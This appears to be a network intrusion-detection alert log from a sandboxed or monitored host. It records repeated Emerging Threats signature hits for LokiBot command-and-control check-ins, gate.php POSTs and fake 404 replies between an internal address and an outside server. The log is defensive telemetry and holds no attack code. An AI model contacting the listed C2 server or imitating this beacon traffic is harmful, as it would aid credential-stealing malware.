12/21/20-08:33:44.096731	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49192	80	192.168.2.22	185.193.143.118
12/21/20-08:33:44.096731	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49192	80	192.168.2.22	185.193.143.118
12/21/20-08:33:44.096731	TCP	2025381	ET TROJAN LokiBot Checkin	49192	80	192.168.2.22	185.193.143.118
12/21/20-08:33:44.096731	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49192	80	192.168.2.22	185.193.143.118
12/21/20-08:33:44.096731	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49192	80	192.168.2.22	185.193.143.118
12/21/20-08:33:44.293749	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49192	185.193.143.118	192.168.2.22
12/21/20-08:33:44.571159	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49193	80	192.168.2.22	185.193.143.118
12/21/20-08:33:44.571159	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49193	80	192.168.2.22	185.193.143.118
12/21/20-08:33:44.571159	TCP	2025381	ET TROJAN LokiBot Checkin	49193	80	192.168.2.22	185.193.143.118
12/21/20-08:33:44.571159	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49193	80	192.168.2.22	185.193.143.118
12/21/20-08:33:44.571159	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49193	80	192.168.2.22	185.193.143.118
12/21/20-08:33:44.761158	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49193	185.193.143.118	192.168.2.22
12/21/20-08:33:45.056071	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49194	80	192.168.2.22	185.193.143.118
12/21/20-08:33:45.056071	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49194	80	192.168.2.22	185.193.143.118
12/21/20-08:33:45.056071	TCP	2025381	ET TROJAN LokiBot Checkin	49194	80	192.168.2.22	185.193.143.118
12/21/20-08:33:45.056071	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49194	80	192.168.2.22	185.193.143.118
12/21/20-08:33:45.056071	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49194	80	192.168.2.22	185.193.143.118
12/21/20-08:33:45.256387	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49194	185.193.143.118	192.168.2.22
12/21/20-08:33:45.531713	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49195	80	192.168.2.22	185.193.143.118
12/21/20-08:33:45.531713	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49195	80	192.168.2.22	185.193.143.118
12/21/20-08:33:45.531713	TCP	2025381	ET TROJAN LokiBot Checkin	49195	80	192.168.2.22	185.193.143.118
12/21/20-08:33:45.531713	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49195	80	192.168.2.22	185.193.143.118
12/21/20-08:33:45.531713	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49195	80	192.168.2.22	185.193.143.118
12/21/20-08:33:45.724094	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49195	185.193.143.118	192.168.2.22
12/21/20-08:33:46.000245	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49196	80	192.168.2.22	185.193.143.118
12/21/20-08:33:46.000245	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49196	80	192.168.2.22	185.193.143.118
12/21/20-08:33:46.000245	TCP	2025381	ET TROJAN LokiBot Checkin	49196	80	192.168.2.22	185.193.143.118
12/21/20-08:33:46.000245	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49196	80	192.168.2.22	185.193.143.118
12/21/20-08:33:46.000245	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49196	80	192.168.2.22	185.193.143.118
12/21/20-08:33:46.197208	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49196	185.193.143.118	192.168.2.22
12/21/20-08:33:46.505912	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49197	80	192.168.2.22	185.193.143.118
12/21/20-08:33:46.505912	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49197	80	192.168.2.22	185.193.143.118
12/21/20-08:33:46.505912	TCP	2025381	ET TROJAN LokiBot Checkin	49197	80	192.168.2.22	185.193.143.118
12/21/20-08:33:46.505912	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49197	80	192.168.2.22	185.193.143.118
12/21/20-08:33:46.505912	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49197	80	192.168.2.22	185.193.143.118
12/21/20-08:33:46.689478	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49197	185.193.143.118	192.168.2.22
12/21/20-08:33:46.952497	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49198	80	192.168.2.22	185.193.143.118
12/21/20-08:33:46.952497	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49198	80	192.168.2.22	185.193.143.118
12/21/20-08:33:46.952497	TCP	2025381	ET TROJAN LokiBot Checkin	49198	80	192.168.2.22	185.193.143.118
12/21/20-08:33:46.952497	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49198	80	192.168.2.22	185.193.143.118
12/21/20-08:33:46.952497	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49198	80	192.168.2.22	185.193.143.118
12/21/20-08:33:47.145210	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49198	185.193.143.118	192.168.2.22
12/21/20-08:33:47.436852	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49199	80	192.168.2.22	185.193.143.118
12/21/20-08:33:47.436852	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49199	80	192.168.2.22	185.193.143.118
12/21/20-08:33:47.436852	TCP	2025381	ET TROJAN LokiBot Checkin	49199	80	192.168.2.22	185.193.143.118
12/21/20-08:33:47.436852	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49199	80	192.168.2.22	185.193.143.118
12/21/20-08:33:47.436852	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49199	80	192.168.2.22	185.193.143.118
12/21/20-08:33:47.628328	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49199	185.193.143.118	192.168.2.22
12/21/20-08:33:47.907513	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49200	80	192.168.2.22	185.193.143.118
12/21/20-08:33:47.907513	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49200	80	192.168.2.22	185.193.143.118
12/21/20-08:33:47.907513	TCP	2025381	ET TROJAN LokiBot Checkin	49200	80	192.168.2.22	185.193.143.118
12/21/20-08:33:47.907513	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49200	80	192.168.2.22	185.193.143.118
12/21/20-08:33:47.907513	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49200	80	192.168.2.22	185.193.143.118
12/21/20-08:33:48.102721	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49200	185.193.143.118	192.168.2.22
12/21/20-08:33:48.399306	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49201	80	192.168.2.22	185.193.143.118
12/21/20-08:33:48.399306	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49201	80	192.168.2.22	185.193.143.118
12/21/20-08:33:48.399306	TCP	2025381	ET TROJAN LokiBot Checkin	49201	80	192.168.2.22	185.193.143.118
12/21/20-08:33:48.399306	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49201	80	192.168.2.22	185.193.143.118
12/21/20-08:33:48.399306	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49201	80	192.168.2.22	185.193.143.118
12/21/20-08:33:48.594541	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49201	185.193.143.118	192.168.2.22
12/21/20-08:33:48.868225	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49202	80	192.168.2.22	185.193.143.118
12/21/20-08:33:48.868225	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49202	80	192.168.2.22	185.193.143.118
12/21/20-08:33:48.868225	TCP	2025381	ET TROJAN LokiBot Checkin	49202	80	192.168.2.22	185.193.143.118
12/21/20-08:33:48.868225	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49202	80	192.168.2.22	185.193.143.118
12/21/20-08:33:48.868225	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49202	80	192.168.2.22	185.193.143.118
12/21/20-08:33:49.054698	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49202	185.193.143.118	192.168.2.22
12/21/20-08:33:49.345744	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49203	80	192.168.2.22	185.193.143.118
12/21/20-08:33:49.345744	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49203	80	192.168.2.22	185.193.143.118
12/21/20-08:33:49.345744	TCP	2025381	ET TROJAN LokiBot Checkin	49203	80	192.168.2.22	185.193.143.118
12/21/20-08:33:49.345744	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49203	80	192.168.2.22	185.193.143.118
12/21/20-08:33:49.345744	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49203	80	192.168.2.22	185.193.143.118
12/21/20-08:33:49.538415	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49203	185.193.143.118	192.168.2.22
12/21/20-08:33:49.842369	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49204	80	192.168.2.22	185.193.143.118
12/21/20-08:33:49.842369	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49204	80	192.168.2.22	185.193.143.118
12/21/20-08:33:49.842369	TCP	2025381	ET TROJAN LokiBot Checkin	49204	80	192.168.2.22	185.193.143.118
12/21/20-08:33:49.842369	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49204	80	192.168.2.22	185.193.143.118
12/21/20-08:33:49.842369	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49204	80	192.168.2.22	185.193.143.118
12/21/20-08:33:50.024386	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49204	185.193.143.118	192.168.2.22
12/21/20-08:33:50.305218	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49205	80	192.168.2.22	185.193.143.118
12/21/20-08:33:50.305218	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49205	80	192.168.2.22	185.193.143.118
12/21/20-08:33:50.305218	TCP	2025381	ET TROJAN LokiBot Checkin	49205	80	192.168.2.22	185.193.143.118
12/21/20-08:33:50.305218	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49205	80	192.168.2.22	185.193.143.118
12/21/20-08:33:50.305218	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49205	80	192.168.2.22	185.193.143.118
12/21/20-08:33:50.502685	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49205	185.193.143.118	192.168.2.22
12/21/20-08:33:50.800059	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49206	80	192.168.2.22	185.193.143.118
12/21/20-08:33:50.800059	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49206	80	192.168.2.22	185.193.143.118
12/21/20-08:33:50.800059	TCP	2025381	ET TROJAN LokiBot Checkin	49206	80	192.168.2.22	185.193.143.118
12/21/20-08:33:50.800059	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49206	80	192.168.2.22	185.193.143.118
12/21/20-08:33:50.800059	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49206	80	192.168.2.22	185.193.143.118
12/21/20-08:33:50.995314	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49206	185.193.143.118	192.168.2.22
12/21/20-08:33:51.266644	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49207	80	192.168.2.22	185.193.143.118
12/21/20-08:33:51.266644	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49207	80	192.168.2.22	185.193.143.118
12/21/20-08:33:51.266644	TCP	2025381	ET TROJAN LokiBot Checkin	49207	80	192.168.2.22	185.193.143.118
12/21/20-08:33:51.266644	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49207	80	192.168.2.22	185.193.143.118
12/21/20-08:33:51.266644	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49207	80	192.168.2.22	185.193.143.118
12/21/20-08:33:51.461716	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49207	185.193.143.118	192.168.2.22
12/21/20-08:33:51.729572	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49208	80	192.168.2.22	185.193.143.118
12/21/20-08:33:51.729572	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49208	80	192.168.2.22	185.193.143.118
12/21/20-08:33:51.729572	TCP	2025381	ET TROJAN LokiBot Checkin	49208	80	192.168.2.22	185.193.143.118
12/21/20-08:33:51.729572	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49208	80	192.168.2.22	185.193.143.118
12/21/20-08:33:51.729572	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49208	80	192.168.2.22	185.193.143.118
12/21/20-08:33:51.917481	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49208	185.193.143.118	192.168.2.22
12/21/20-08:33:52.201845	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49209	80	192.168.2.22	185.193.143.118
12/21/20-08:33:52.201845	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49209	80	192.168.2.22	185.193.143.118
12/21/20-08:33:52.201845	TCP	2025381	ET TROJAN LokiBot Checkin	49209	80	192.168.2.22	185.193.143.118
12/21/20-08:33:52.201845	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49209	80	192.168.2.22	185.193.143.118
12/21/20-08:33:52.201845	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49209	80	192.168.2.22	185.193.143.118
12/21/20-08:33:52.382859	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49209	185.193.143.118	192.168.2.22
12/21/20-08:33:52.681831	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49210	80	192.168.2.22	185.193.143.118
12/21/20-08:33:52.681831	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49210	80	192.168.2.22	185.193.143.118
12/21/20-08:33:52.681831	TCP	2025381	ET TROJAN LokiBot Checkin	49210	80	192.168.2.22	185.193.143.118
12/21/20-08:33:52.681831	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49210	80	192.168.2.22	185.193.143.118
12/21/20-08:33:52.681831	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49210	80	192.168.2.22	185.193.143.118
12/21/20-08:33:52.881215	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49210	185.193.143.118	192.168.2.22
12/21/20-08:33:53.154706	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49211	80	192.168.2.22	185.193.143.118
12/21/20-08:33:53.154706	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49211	80	192.168.2.22	185.193.143.118
12/21/20-08:33:53.154706	TCP	2025381	ET TROJAN LokiBot Checkin	49211	80	192.168.2.22	185.193.143.118
12/21/20-08:33:53.154706	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49211	80	192.168.2.22	185.193.143.118
12/21/20-08:33:53.154706	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49211	80	192.168.2.22	185.193.143.118
12/21/20-08:33:53.346194	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49211	185.193.143.118	192.168.2.22
12/21/20-08:33:53.619537	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49212	80	192.168.2.22	185.193.143.118
12/21/20-08:33:53.619537	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49212	80	192.168.2.22	185.193.143.118
12/21/20-08:33:53.619537	TCP	2025381	ET TROJAN LokiBot Checkin	49212	80	192.168.2.22	185.193.143.118
12/21/20-08:33:53.619537	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49212	80	192.168.2.22	185.193.143.118
12/21/20-08:33:53.619537	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49212	80	192.168.2.22	185.193.143.118
12/21/20-08:33:53.817549	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49212	185.193.143.118	192.168.2.22
12/21/20-08:33:54.095934	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49213	80	192.168.2.22	185.193.143.118
12/21/20-08:33:54.095934	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49213	80	192.168.2.22	185.193.143.118
12/21/20-08:33:54.095934	TCP	2025381	ET TROJAN LokiBot Checkin	49213	80	192.168.2.22	185.193.143.118
12/21/20-08:33:54.095934	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49213	80	192.168.2.22	185.193.143.118
12/21/20-08:33:54.095934	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49213	80	192.168.2.22	185.193.143.118
12/21/20-08:33:54.282756	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49213	185.193.143.118	192.168.2.22
12/21/20-08:33:54.563018	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49214	80	192.168.2.22	185.193.143.118
12/21/20-08:33:54.563018	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49214	80	192.168.2.22	185.193.143.118
12/21/20-08:33:54.563018	TCP	2025381	ET TROJAN LokiBot Checkin	49214	80	192.168.2.22	185.193.143.118
12/21/20-08:33:54.563018	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49214	80	192.168.2.22	185.193.143.118
12/21/20-08:33:54.563018	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49214	80	192.168.2.22	185.193.143.118
12/21/20-08:33:54.753853	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49214	185.193.143.118	192.168.2.22
12/21/20-08:33:55.018163	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49215	80	192.168.2.22	185.193.143.118
12/21/20-08:33:55.018163	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49215	80	192.168.2.22	185.193.143.118
12/21/20-08:33:55.018163	TCP	2025381	ET TROJAN LokiBot Checkin	49215	80	192.168.2.22	185.193.143.118
12/21/20-08:33:55.018163	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49215	80	192.168.2.22	185.193.143.118
12/21/20-08:33:55.018163	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49215	80	192.168.2.22	185.193.143.118
12/21/20-08:33:55.203334	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49215	185.193.143.118	192.168.2.22
12/21/20-08:33:55.468060	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49216	80	192.168.2.22	185.193.143.118
12/21/20-08:33:55.468060	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49216	80	192.168.2.22	185.193.143.118
12/21/20-08:33:55.468060	TCP	2025381	ET TROJAN LokiBot Checkin	49216	80	192.168.2.22	185.193.143.118
12/21/20-08:33:55.468060	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49216	80	192.168.2.22	185.193.143.118
12/21/20-08:33:55.468060	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49216	80	192.168.2.22	185.193.143.118
12/21/20-08:33:57.629525	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49216	185.193.143.118	192.168.2.22
12/21/20-08:33:58.210023	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49217	80	192.168.2.22	185.193.143.118
12/21/20-08:33:58.210023	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49217	80	192.168.2.22	185.193.143.118
12/21/20-08:33:58.210023	TCP	2025381	ET TROJAN LokiBot Checkin	49217	80	192.168.2.22	185.193.143.118
12/21/20-08:33:58.210023	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49217	80	192.168.2.22	185.193.143.118
12/21/20-08:33:58.210023	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49217	80	192.168.2.22	185.193.143.118
12/21/20-08:33:58.403531	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49217	185.193.143.118	192.168.2.22
12/21/20-08:33:58.669352	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49218	80	192.168.2.22	185.193.143.118
12/21/20-08:33:58.669352	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49218	80	192.168.2.22	185.193.143.118
12/21/20-08:33:58.669352	TCP	2025381	ET TROJAN LokiBot Checkin	49218	80	192.168.2.22	185.193.143.118
12/21/20-08:33:58.669352	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49218	80	192.168.2.22	185.193.143.118
12/21/20-08:33:58.669352	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49218	80	192.168.2.22	185.193.143.118
12/21/20-08:33:58.864827	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49218	185.193.143.118	192.168.2.22
12/21/20-08:33:59.144565	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49219	80	192.168.2.22	185.193.143.118
12/21/20-08:33:59.144565	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49219	80	192.168.2.22	185.193.143.118
12/21/20-08:33:59.144565	TCP	2025381	ET TROJAN LokiBot Checkin	49219	80	192.168.2.22	185.193.143.118
12/21/20-08:33:59.144565	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49219	80	192.168.2.22	185.193.143.118
12/21/20-08:33:59.144565	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49219	80	192.168.2.22	185.193.143.118
12/21/20-08:33:59.334280	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49219	185.193.143.118	192.168.2.22
12/21/20-08:33:59.604248	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49220	80	192.168.2.22	185.193.143.118
12/21/20-08:33:59.604248	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49220	80	192.168.2.22	185.193.143.118
12/21/20-08:33:59.604248	TCP	2025381	ET TROJAN LokiBot Checkin	49220	80	192.168.2.22	185.193.143.118
12/21/20-08:33:59.604248	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49220	80	192.168.2.22	185.193.143.118
12/21/20-08:33:59.604248	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49220	80	192.168.2.22	185.193.143.118
12/21/20-08:33:59.791795	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49220	185.193.143.118	192.168.2.22
12/21/20-08:34:00.066546	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49221	80	192.168.2.22	185.193.143.118
12/21/20-08:34:00.066546	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49221	80	192.168.2.22	185.193.143.118
12/21/20-08:34:00.066546	TCP	2025381	ET TROJAN LokiBot Checkin	49221	80	192.168.2.22	185.193.143.118
12/21/20-08:34:00.066546	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49221	80	192.168.2.22	185.193.143.118
12/21/20-08:34:00.066546	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49221	80	192.168.2.22	185.193.143.118
12/21/20-08:34:00.256095	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49221	185.193.143.118	192.168.2.22
12/21/20-08:34:00.524930	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49222	80	192.168.2.22	185.193.143.118
12/21/20-08:34:00.524930	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49222	80	192.168.2.22	185.193.143.118
12/21/20-08:34:00.524930	TCP	2025381	ET TROJAN LokiBot Checkin	49222	80	192.168.2.22	185.193.143.118
12/21/20-08:34:00.524930	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49222	80	192.168.2.22	185.193.143.118
12/21/20-08:34:00.524930	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49222	80	192.168.2.22	185.193.143.118
12/21/20-08:34:00.710942	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49222	185.193.143.118	192.168.2.22
12/21/20-08:34:00.993901	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49223	80	192.168.2.22	185.193.143.118
12/21/20-08:34:00.993901	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49223	80	192.168.2.22	185.193.143.118
12/21/20-08:34:00.993901	TCP	2025381	ET TROJAN LokiBot Checkin	49223	80	192.168.2.22	185.193.143.118
12/21/20-08:34:00.993901	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49223	80	192.168.2.22	185.193.143.118
12/21/20-08:34:00.993901	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49223	80	192.168.2.22	185.193.143.118
12/21/20-08:34:01.177423	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49223	185.193.143.118	192.168.2.22
12/21/20-08:34:01.452554	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49224	80	192.168.2.22	185.193.143.118
12/21/20-08:34:01.452554	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49224	80	192.168.2.22	185.193.143.118
12/21/20-08:34:01.452554	TCP	2025381	ET TROJAN LokiBot Checkin	49224	80	192.168.2.22	185.193.143.118
12/21/20-08:34:01.452554	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49224	80	192.168.2.22	185.193.143.118
12/21/20-08:34:01.452554	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49224	80	192.168.2.22	185.193.143.118
12/21/20-08:34:01.638469	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49224	185.193.143.118	192.168.2.22
12/21/20-08:34:01.876667	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49225	80	192.168.2.22	185.193.143.118
12/21/20-08:34:01.876667	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49225	80	192.168.2.22	185.193.143.118
12/21/20-08:34:01.876667	TCP	2025381	ET TROJAN LokiBot Checkin	49225	80	192.168.2.22	185.193.143.118
12/21/20-08:34:01.876667	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49225	80	192.168.2.22	185.193.143.118
12/21/20-08:34:01.876667	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49225	80	192.168.2.22	185.193.143.118
12/21/20-08:34:02.059926	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49225	185.193.143.118	192.168.2.22
12/21/20-08:34:02.621823	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49226	80	192.168.2.22	185.193.143.118
12/21/20-08:34:02.621823	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49226	80	192.168.2.22	185.193.143.118
12/21/20-08:34:02.621823	TCP	2025381	ET TROJAN LokiBot Checkin	49226	80	192.168.2.22	185.193.143.118
12/21/20-08:34:02.621823	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49226	80	192.168.2.22	185.193.143.118
12/21/20-08:34:02.621823	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49226	80	192.168.2.22	185.193.143.118
12/21/20-08:34:02.813173	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49226	185.193.143.118	192.168.2.22
12/21/20-08:34:03.371544	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49227	80	192.168.2.22	185.193.143.118
12/21/20-08:34:03.371544	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49227	80	192.168.2.22	185.193.143.118
12/21/20-08:34:03.371544	TCP	2025381	ET TROJAN LokiBot Checkin	49227	80	192.168.2.22	185.193.143.118
12/21/20-08:34:03.371544	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49227	80	192.168.2.22	185.193.143.118
12/21/20-08:34:03.371544	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49227	80	192.168.2.22	185.193.143.118
12/21/20-08:34:03.553006	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49227	185.193.143.118	192.168.2.22
12/21/20-08:34:03.833935	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49228	80	192.168.2.22	185.193.143.118
12/21/20-08:34:03.833935	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49228	80	192.168.2.22	185.193.143.118
12/21/20-08:34:03.833935	TCP	2025381	ET TROJAN LokiBot Checkin	49228	80	192.168.2.22	185.193.143.118
